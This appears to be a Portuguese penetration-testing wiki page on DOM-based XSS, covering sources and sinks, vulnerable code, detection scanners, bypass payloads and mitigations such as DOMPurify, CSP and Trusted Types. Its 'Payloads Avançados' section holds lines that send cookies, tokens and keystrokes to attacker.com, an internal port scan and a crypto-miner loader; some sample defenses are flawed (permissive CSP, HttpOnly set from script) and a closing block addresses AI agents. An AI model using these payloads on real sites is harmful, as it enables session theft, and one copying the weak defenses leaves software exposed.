# DOM based XSS

## **🔍 Conceitos Fundamentais**

### **O que é DOM-based XSS**

DOM-based XSS é uma vulnerabilidade onde o ataque é executado no lado do cliente através da manipulação do DOM, sem envolver o servidor no processamento do payload.

### **Diferenças entre XSS Tradicional e DOM-based**

| **Aspecto**       | **Reflected/Stored XSS**  | **DOM-based XSS**            |
| ----------------- | ------------------------- | ---------------------------- |
| **Processamento** | Servidor processa entrada | Cliente processa entrada     |
| **Detecção**      | Visível no código fonte   | Dinâmico, não visível        |
| **Payload**       | Enviado ao servidor       | Processado apenas no cliente |
| **Prevenção**     | Server-side validation    | Client-side sanitization     |

### **Fluxo de Ataque DOM XSS**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant B as Browser
    participant D as DOM

    A->>V: Envia URL maliciosa
    V->>B: Acessa URL legítima
    B->>B: Processa JavaScript
    B->>D: Lê fonte (location.hash, etc.)
    D->>B: Retorna dado contaminado
    B->>B: Escreve em sink perigoso
    B->>B: Executa código malicioso
    B-->>A: Rouba dados/executa ações
```

***

## **📥📤 Fontes e Sinks**

### **Fontes Comuns (Input Sources)**

```javascript
// URL-based sources
window.location.href
window.location.hash
window.location.search
document.URL
document.documentURI
document.baseURI

// Navegador/Window
document.referrer
window.name
history.state
localStorage
sessionStorage

// Formulários e Inputs
document.forms
document.cookie
document.body.innerText
document.domain

// Comunicação
postMessage data
WebSocket messages
Ajax responses
```

### **Sinks Perigosos (Execution Points)**

```javascript
// Sinks de Execução Direta
eval()
setTimeout()
setInterval()
Function()
execScript()

// Sinks de HTML Injection
element.innerHTML
element.outerHTML
document.write()
document.writeln()
document.domain

// Sinks de URL/JavaScript
location.href
location.assign()
location.replace()
src attribute
href attribute

// Sinks Modernos
element.insertAdjacentHTML()
WebSocket constructor
Range.createContextualFragment()
```

### **Mapeamento Completo Fontes → Sinks**

```javascript
// Exemplo de cadeia de vulnerabilidade
const source = window.location.hash.substring(1);  // Fonte
document.getElementById('output').innerHTML = source;  // Sink

// Outro exemplo comum
const searchParams = new URLSearchParams(window.location.search);
const query = searchParams.get('search');
document.write(`<div>Results for: ${query}</div>`);
```

***

## **🎯 Tipos de DOM XSS**

{% stepper %}
{% step %}

#### DOM XSS com innerHTML

```html
<!-- Vulnerable Code -->
<script>
    const userInput = window.location.hash.substring(1);
    document.getElementById('message').innerHTML = userInput;
</script>

<!-- Exploitation -->
https://example.com/#<img src=x onerror=alert(1)>
```

{% endstep %}

{% step %}

#### DOM XSS com eval()

```javascript
// Código vulnerável
const userData = JSON.parse(localStorage.getItem('userData'));
eval('var user = ' + userData);

// Exploração
localStorage.setItem('userData', '{"name":"test"}); alert(1);//');
```

{% endstep %}

{% step %}

#### DOM XSS com location

```javascript
// Vulnerabilidade em redirecionamento
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');
window.location.href = redirectUrl;

// Exploração
https://example.com/?redirect=javascript:alert(document.domain)
```

{% endstep %}

{% step %}

#### DOM XSS com jQuery

```javascript
// jQuery vulnerável
const userContent = $(window.location.hash.substring(1));
$('#container').html(userContent);

// Exploração
https://example.com/#<script>alert(1)</script>
```

{% endstep %}

{% step %}

#### DOM XSS em Frameworks Modernos

```javascript
// Vue.js vulnerável
new Vue({
  el: '#app',
  data: {
    userInput: window.location.hash.substring(1)
  },
  template: `<div v-html="userInput"></div>`
});

// React vulnerável (usando dangerouslySetInnerHTML)
function VulnerableComponent() {
  const [content] = useState(window.location.hash.substring(1));
  return <div dangerouslySetInnerHTML={{__html: content}} />;
}
```

{% endstep %}
{% endstepper %}

***

## **🔎 Identificação e Detecção**

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

#### Análise de Código JavaScript

```javascript
// Procurar por padrões vulneráveis no código
// FONTES perigosas
/\b(location|URL|hash|search|referrer|name|localStorage|sessionStorage)\b/

// SINKS perigosos
/\b(innerHTML|outerHTML|write|writeln|eval|setTimeout|setInterval|Function)\b/

// jQuery sinks
/\$(\(|\.html|\.append|\.prepend|\.before|\.after)/
```

{% endstep %}

{% step %}

#### Teste com Payloads Básicos

```javascript
// Payloads de teste para diferentes sinks
const testPayloads = [
    '" onmouseover="alert(1)"',
    '<script>alert(1)</script>',
    'javascript:alert(1)',
    '${alert(1)}',
    '{{constructor.constructor(\'alert(1)\')()}}',
    '#<img src=x onerror=alert(1)>'
];
```

{% endstep %}

{% step %}

#### Uso do Console do Navegador

```javascript
// Monitorar fontes e sinks em tempo real
// Hook para innerHTML
const originalInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
Object.defineProperty(Element.prototype, 'innerHTML', {
    set: function(value) {
        console.trace('innerHTML set:', value);
        return originalInnerHTML.call(this, value);
    }
});

// Monitorar eval
const originalEval = window.eval;
window.eval = function(code) {
    console.trace('eval called:', code);
    return originalEval(code);
};
```

{% endstep %}
{% endstepper %}

### **Técnicas de Análise Estática**

#### **1. Scanner JavaScript Personalizado**

```python
#!/usr/bin/env python3
# dom_xss_scanner.py

import re
import requests
from urllib.parse import urljoin, urlparse
import jsbeautifier

class DOMXSSScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.vulnerabilities = []
        
    def extract_js_urls(self, html_content):
        """Extrair URLs de arquivos JavaScript"""
        js_patterns = [
            r'src="([^"]*\.js[^"]*)"',
            r"src='([^']*\.js[^']*)'",
            r'<script[^>]*>([^<]*)</script>'
        ]
        
        js_urls = []
        for pattern in js_patterns:
            matches = re.finditer(pattern, html_content, re.IGNORECASE)
            for match in matches:
                js_urls.append(match.group(1))
                
        return js_urls
    
    def analyze_js_code(self, js_code):
        """Analisar código JavaScript por padrões DOM XSS"""
        # Padrões de fontes
        sources_pattern = r'''
            (window\.location(?:\.hash|\.search|\.href)?|
            document\.(?:URL|referrer|cookie)|
            localStorage\.getItem|
            sessionStorage\.getItem|
            window\.name|
            history\.state)
        '''
        
        # Padrões de sinks
        sinks_pattern = r'''
            (\.innerHTML|\.outerHTML|
            document\.write(?:ln)?|
            eval\(
            setTimeout\(
            setInterval\(
            Function\(
            \.html\(
            \.append\(
            location\.(?:href|assign|replace)|
            \.src\s*=|
            \.href\s*=)
        '''
        
        sources = re.findall(sources_pattern, js_code, re.VERBOSE)
        sinks = re.findall(sinks_pattern, js_code, re.VERBOSE)
        
        return sources, sinks
    
    def find_contamination_flows(self, sources, sinks, js_code):
        """Encontrar fluxos de fonte para sink"""
        vulnerabilities = []
        
        for source in sources:
            for sink in sinks:
                # Verificar se há fluxo potencial
                source_line = self.find_line_number(js_code, source)
                sink_line = self.find_line_number(js_code, sink)
                
                if source_line and sink_line and sink_line > source_line:
                    vulnerabilities.append({
                        'source': source,
                        'sink': sink,
                        'source_line': source_line,
                        'sink_line': sink_line
                    })
        
        return vulnerabilities
    
    def scan(self):
        """Executar scan completo"""
        try:
            response = requests.get(self.target)
            html_content = response.text
            
            # Analisar HTML inline
            inline_scripts = re.findall(r'<script[^>]*>([^<]+)</script>', html_content)
            for script in inline_scripts:
                sources, sinks = self.analyze_js_code(script)
                if sources and sinks:
                    flows = self.find_contamination_flows(sources, sinks, script)
                    self.vulnerabilities.extend(flows)
            
            # Analisar JS externos
            js_urls = self.extract_js_urls(html_content)
            for js_url in js_urls:
                full_url = urljoin(self.target, js_url)
                try:
                    js_response = requests.get(full_url)
                    js_code = jsbeautifier.beautify(js_response.text)
                    
                    sources, sinks = self.analyze_js_code(js_code)
                    if sources and sinks:
                        flows = self.find_contamination_flows(sources, sinks, js_code)
                        self.vulnerabilities.extend(flows)
                        
                except requests.RequestException:
                    continue
                    
        except Exception as e:
            print(f"Erro no scan: {e}")
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = DOMXSSScanner('https://example.com')
    scanner.scan()
    report = scanner.generate_report()
    print(report)
```

***

## **💥 Exploração Avançada**

### **Técnicas de Bypass**

{% stepper %}
{% step %}

#### Bypass de Filtros Baseados em Regex

```javascript
// Filtro: <script>
Payload: <scr<script>ipt>alert(1)</script>

// Filtro: onerror=
Payload: <img src=x onerror&#61;alert(1)>

// Filtro: javascript:
Payload: java&#x73;cript:alert(1)
Payload: jAvAsCrIpT:alert(1)

// Filtro: alert(
Payload: alert`1`
Payload: top["al"+"ert"](1)
Payload; window['alert'](document['domain'])
```

{% endstep %}

{% step %}

#### Exploração com Template Literals

```javascript
// Em sinks que executam template literals
const userInput = `${alert(1)}`;
const message = `Hello ${userInput}`;

// Ou usando funções construtoras
const payload = '${constructor.constructor`alert${1}`()}';
```

{% endstep %}

{% step %}

#### Abuso de Prototype Pollution

```javascript
// Se houver prototype pollution + DOM XSS
// Primeiro poluir o prototype
Object.prototype.srcdoc = '<img src=x onerror=alert(1)>';

// Então trigger DOM XSS
const iframe = document.createElement('iframe');
document.body.appendChild(iframe); // Será executado
```

{% endstep %}
{% endstepper %}

### **Cenários Complexos de Exploração**

{% stepper %}
{% step %}

#### DOM XSS com PostMessage

```html
<!-- Página vulnerável -->
<script>
    window.addEventListener('message', function(event) {
        // Validação de origem inadequada
        if (event.origin.indexOf('example.com') > -1) {
            document.getElementById('content').innerHTML = event.data;
        }
    });
</script>

<!-- Página atacante -->
<iframe src="https://vulnerable.com" id="target"></iframe>
<script>
    const iframe = document.getElementById('target');
    iframe.onload = function() {
        iframe.contentWindow.postMessage(
            '<img src=x onerror=alert(document.cookie)>', 
            'https://vulnerable.com'
        );
    };
</script>
```

{% endstep %}

{% step %}

#### DOM XSS com WebSocket

```javascript
// Código vulnerável
const ws = new WebSocket('wss://example.com/chat');
ws.onmessage = function(event) {
    document.getElementById('chat').innerHTML += event.data;
};

// Exploração - enviar via WebSocket:
<img src=x onerror=alert(1)>
```

{% endstep %}

{% step %}

#### DOM XSS em Single Page Applications (SPA)

```javascript
// Vue.js Router vulnerável
const routes = [
  {
    path: '/user/:id',
    component: UserComponent,
    beforeEnter: (to, from, next) => {
      // Vulnerável - id não sanitizado
      store.userId = to.params.id;
      next();
    }
  }
];

// Exploração
https://app.com/user/<img src=x onerror=alert(1)>
```

{% endstep %}
{% endstepper %}

### **Payloads Avançados**

{% stepper %}
{% step %}

#### Stealing Sensitive Data

```javascript
// Roubar cookies
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

// Roubar localStorage
<script>fetch('https://attacker.com/steal?ls='+localStorage.getItem('token'))</script>

// Keylogger
<script>document.addEventListener('keypress',e=>fetch('https://attacker.com/key?k='+e.key))</script>
```

{% endstep %}

{% step %}

#### Port Scanning Interno

```javascript
// Scanner de portas internas
const ports = [22, 80, 443, 8080, 3389];
ports.forEach(port => {
    const img = new Image();
    img.onerror = function() {
        fetch('https://attacker.com/open?port=' + port);
    };
    img.src = 'http://localhost:' + port;
});
```

{% endstep %}

{% step %}

#### Cryptojacking

```javascript
// Miner de cryptocurrency
<script>
    const script = document.createElement('script');
    script.src = 'https://coinhive.com/lib/miner.js';
    document.head.appendChild(script);
    script.onload = function() {
        const miner = new CoinHive.Anonymous('YOUR_KEY');
        miner.start();
    };
</script>
```

{% endstep %}
{% endstepper %}

***

## **🛡️ Mitigação e Prevenção**

### **Estratégias de Defesa em Camadas**

#### **1. Sanitização de Inputs**

```javascript
// DOMPurify - Biblioteca recomendada
import DOMPurify from 'dompurify';

// Uso seguro
const userInput = window.location.hash.substring(1);
const cleanInput = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = cleanInput;

// Configuração customizada
const config = {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href', 'title'],
    FORBID_ATTR: ['style', 'onerror', 'onclick']
};
DOMPurify.sanitize(userInput, config);
```

#### **2. Content Security Policy (CSP)**

```html
<!-- CSP restritiva -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
               object-src 'none';
               base-uri 'self';
               require-trusted-types-for 'script';">

<!-- CSP com reporting -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self';
               report-uri /csp-violation-report-endpoint;">
```

#### **3. Trusted Types**

```javascript
// Habilitar Trusted Types
if (window.trustedTypes && trustedTypes.createPolicy) {
    const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
        createHTML: (input) => {
            return input.replace(/</g, '&lt;').replace(/>/g, '&gt;');
        },
        createScriptURL: (input) => {
            // Validar URLs
            if (!input.startsWith('https://trusted.com/')) {
                throw new Error('URL não permitida');
            }
            return input;
        }
    });
}

// Uso com Trusted Types
const safeHtml = escapePolicy.createHTML(userInput);
element.innerHTML = safeHtml;
```

### **Padrões de Codificação Seguros**

#### **1. Uso Seguro de TextContent vs innerHTML**

```javascript
// ❌ PERIGOSO
element.innerHTML = userInput;

// ✅ SEGURO
element.textContent = userInput;

// ✅ SEGURO para HTML
element.innerHTML = '';
element.appendChild(document.createTextNode(userInput));
```

#### **2. Validação de URLs**

```javascript
function safeRedirect(url) {
    // Validar protocolo
    const allowedProtocols = ['https:', 'http:', 'mailto:', 'tel:'];
    const parsedUrl = new URL(url, window.location.origin);
    
    if (!allowedProtocols.includes(parsedUrl.protocol)) {
        throw new Error('Protocolo não permitido');
    }
    
    // Validar domínio
    const allowedDomains = ['example.com', 'trusted-partner.com'];
    if (!allowedDomains.includes(parsedUrl.hostname)) {
        throw new Error('Domínio não permitido');
    }
    
    return parsedUrl.toString();
}

// Uso seguro
const redirectUrl = safeRedirect(userInput);
window.location.href = redirectUrl;
```

#### **3. Sanitização Customizada**

```javascript
class DOMSanitizer {
    static sanitizeHTML(input) {
        const div = document.createElement('div');
        div.textContent = input;
        return div.innerHTML;
    }
    
    static sanitizeURL(input) {
        try {
            const url = new URL(input, window.location.origin);
            if (['http:', 'https:'].includes(url.protocol)) {
                return url.toString();
            }
        } catch (e) {
            return 'about:blank';
        }
        return 'about:blank';
    }
    
    static sanitizeAttribute(input) {
        return input.replace(/["'<>]/g, '');
    }
}

// Uso
const safeHTML = DOMSanitizer.sanitizeHTML(userInput);
const safeURL = DOMSanitizer.sanitizeURL(userInput);
```

### **Configurações de Segurança do Navegador**

#### **1. HTTP Headers de Segurança**

```nginx
# Configuração Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline';";
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
```

#### **2. Configuração de Cookies**

```javascript
// Cookies seguros
document.cookie = "session=abc123; Secure; SameSite=Strict; HttpOnly";
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas Automatizadas**

{% stepper %}
{% step %}

#### Scanner DOM XSS com Puppeteer

```javascript
// dom_xss_puppeteer.js
const puppeteer = require('puppeteer');
const fs = require('fs');

class DOMXSSPuppeteer {
    constructor() {
        this.browser = null;
        this.page = null;
        this.vulnerabilities = [];
    }
    
    async init() {
        this.browser = await puppeteer.launch({ headless: true });
        this.page = await this.browser.newPage();
        
        // Habilitar logging
        this.page.on('console', msg => {
            if (msg.type() === 'error') {
                console.log('Console Error:', msg.text());
            }
        });
        
        // Detectar execução de alert
        this.page.on('dialog', async dialog => {
            this.vulnerabilities.push({
                type: 'DOM XSS',
                payload: dialog.message(),
                url: this.page.url()
            });
            await dialog.dismiss();
        });
    }
    
    async testURL(url, payloads) {
        await this.page.goto(url, { waitUntil: 'networkidle2' });
        
        for (const payload of payloads) {
            try {
                // Testar com hash
                await this.page.goto(`${url}#${payload}`);
                
                // Testar com query parameters
                const testUrl = new URL(url);
                testUrl.searchParams.set('test', payload);
                await this.page.goto(testUrl.toString());
                
                // Aguardar possíveis execuções assíncronas
                await this.page.waitForTimeout(1000);
                
            } catch (error) {
                console.log(`Erro com payload ${payload}:`, error.message);
            }
        }
    }
    
    async scan(urls, payloadFile) {
        const payloads = fs.readFileSync(payloadFile, 'utf8').split('\n');
        
        for (const url of urls) {
            console.log(`Scanning: ${url}`);
            await this.testURL(url, payloads);
        }
        
        await this.browser.close();
        return this.vulnerabilities;
    }
}

// Uso
const scanner = new DOMXSSPuppeteer();
scanner.init().then(async () => {
    const results = await scanner.scan(
        ['https://example.com'],
        'dom_xss_payloads.txt'
    );
    console.log('Vulnerabilities:', results);
});
```

{% endstep %}

{% step %}

#### Ferramentas Existentes

```bash
# DOM Invader (Burp Suite)
# Disponível no Burp Suite Professional

# XSStrike
python3 xsstrike.py -u "https://example.com" --dom

# DALFO (Domain Audit Lookup Framework)
git clone https://github.com/hahwul/dalfox
dalfox url https://example.com

# Manual testing with browser extensions
# - DOMinator Pro
# - XSS Helper
```

{% endstep %}
{% endstepper %}

### **Testes Manuais com Developer Tools**

{% stepper %}
{% step %}

#### Debugging de JavaScript

```javascript
// Breakpoints em sinks perigosos
// No console do navegador:
function breakOnInnerHTML() {
    const elements = document.querySelectorAll('*');
    elements.forEach(el => {
        if (el.innerHTML) {
            const original = Object.getOwnPropertyDescriptor(
                Element.prototype, 'innerHTML'
            ).set;
            
            Object.defineProperty(el, 'innerHTML', {
                set: function(value) {
                    console.trace('innerHTML set to:', value);
                    debugger; // Pausa execution
                    return original.call(this, value);
                }
            });
        }
    });
}
breakOnInnerHTML();
```

{% endstep %}

{% step %}

#### Monitoramento de Event Listeners

```javascript
// Monitorar event listeners
function monitorEventListeners() {
    const original = EventTarget.prototype.addEventListener;
    EventTarget.prototype.addEventListener = function(type, listener, options) {
        console.log('Event listener added:', type, listener);
        return original.call(this, type, listener, options);
    };
}
monitorEventListeners();
```

{% endstep %}
{% endstepper %}

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção DOM XSS**

* [ ] **Input Validation**
  * [ ] Validação no client-side (UX)
  * [ ] Validação no server-side (segurança)
  * [ ] Sanitização com DOMPurify ou similar
  * [ ] Validação de URLs antes de uso
* [ ] **Output Encoding**
  * [ ] Uso de textContent vs innerHTML
  * [ ] Encoding contextual (HTML, Attribute, URL, JavaScript)
  * [ ] Sanitização antes de inserção no DOM
* [ ] **Content Security Policy (CSP)**
  * [ ] CSP implementada e restritiva
  * [ ] Trusted Types habilitados
  * [ ] Reporting de violações
* [ ] **Safe APIs**
  * [ ] Evitar eval(), Function(), setTimeout(string)
  * [ ] Usar APIs seguras (createElement, appendChild)
  * [ ] Validar postMessage origins

### **Checklist de Auditoria**

* [ ] **Análise de Código**
  * [ ] Revisão de todos os sinks perigosos
  * [ ] Mapeamento de fluxos fonte→sink
  * [ ] Análise de bibliotecas de terceiros
* [ ] **Testes Dinâmicos**
  * [ ] Teste com payloads variados
  * [ ] Verificação de diferentes fontes (URL, storage, etc.)
  * [ ] Teste em múltiplos navegadores
* [ ] **Análise de Dependências**
  * [ ] Scan de vulnerabilidades em bibliotecas
  * [ ] Verificação de versões seguras
  * [ ] Análise de configurações de frameworks

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de CSP violations
  * [ ] Análise de logs de JavaScript errors
  * [ ] Alertas para comportamentos suspeitos
* [ ] **Contenção**
  * [ ] Remover conteúdo malicioso
  * [ ] Revogar sessões comprometidas
  * [ ] Atualizar CSP para bloquear ataques
* [ ] **Correção**
  * [ ] Implementar sanitização adequada
  * [ ] Atualizar bibliotecas vulneráveis
  * [ ] Realizar reteste de segurança

***

## **🚨 Exemplos de Correção**

{% stepper %}
{% step %}

#### Código Vulnerável → Correção

```javascript
// ❌ VULNERÁVEL
const userMessage = window.location.hash.substring(1);
document.getElementById('message').innerHTML = userMessage;

// ✅ CORRIGIDO - Sanitização
const userMessage = window.location.hash.substring(1);
const safeMessage = DOMPurify.sanitize(userMessage);
document.getElementById('message').innerHTML = safeMessage;

// ✅ CORRIGIDO - Text content
const userMessage = window.location.hash.substring(1);
document.getElementById('message').textContent = userMessage;
```

{% endstep %}

{% step %}

#### Redirecionamento Vulnerável → Seguro

```javascript
// ❌ VULNERÁVEL
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');
window.location.href = redirectUrl;

// ✅ CORRIGIDO - Validação
function safeRedirect(url) {
    const allowedDomains = ['example.com', 'trusted.com'];
    try {
        const parsed = new URL(url, window.location.origin);
        if (allowedDomains.includes(parsed.hostname) && 
            ['http:', 'https:'].includes(parsed.protocol)) {
            return parsed.toString();
        }
    } catch (e) {
        return '/'; // Fallback seguro
    }
    return '/';
}

const redirectUrl = safeRedirect(
    new URLSearchParams(window.location.search).get('redirect')
);
window.location.href = redirectUrl;
```

{% endstep %}
{% endstepper %}

***

## **📊 Tendências e Futuro**

### **Novos Vetores de Ataque**

* **Web Components**: Shadow DOM XSS
* **WebAssembly**: Novos vetores de execução
* **Progressive Web Apps**: Service Workers XSS
* **GraphQL**: Injection em APIs modernas

### **Tecnologias de Defesa Emergentes**

* **Trusted Types**: Nativo nos navegadores
* **WASM Sandboxing**: Isolamento de código
* **ML-based Detection**: Detecção comportamental
* **Browser Security Features**: Novas APIs de segurança

### **Estatísticas e Dados Relevantes**

```
📈 Prevalência DOM XSS (2024):
- 35% das aplicações web têm vulnerabilidades DOM XSS
- 60% dos ataques XSS modernos usam técnicas DOM-based
- 25% das violações de dados envolvem XSS

🛡️ Eficácia de Mitigações:
- CSP: 85% redução em ataques bem-sucedidos
- Trusted Types: 95% prevenção de DOM XSS
- Sanitização: 90% eficácia quando implementada corretamente
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre DOM XSS**

* ❌ "WAF protege contra DOM XSS" → **FALSO** (ataque é no client-side)
* ❌ "HTTPS previne DOM XSS" → **FALSO** (só criptografa transporte)
* ❌ "Server-side validation é suficiente" → **FALSO** (processamento é no cliente)

### **Boas Práticas Essenciais**

1. **Never Trust Client-Side Input**: Sempre validar e sanitizar
2. **Use Safe APIs**: Preferir textContent sobre innerHTML
3. **Implement Defense in Depth**: Múltiplas camadas de proteção
4. **Stay Updated**: Manter bibliotecas e frameworks atualizados
5. **Continuous Testing**: Testar regularmente por vulnerabilidades

### **Recursos Recomendados**

* **OWASP DOM XSS Prevention Cheat Sheet**
* **MDN Web Docs: Content Security Policy**
* **Google Security: Trusted Types**
* **Cure53: DOMPurify**

**🔐 Lembre-se**: DOM-based XSS é particularmente perigosa porque bypass muitas defesas server-side tradicionais. A prevenção requer foco em segurança client-side e understanding profundo de como o JavaScript interage com o DOM.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/dom-based-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
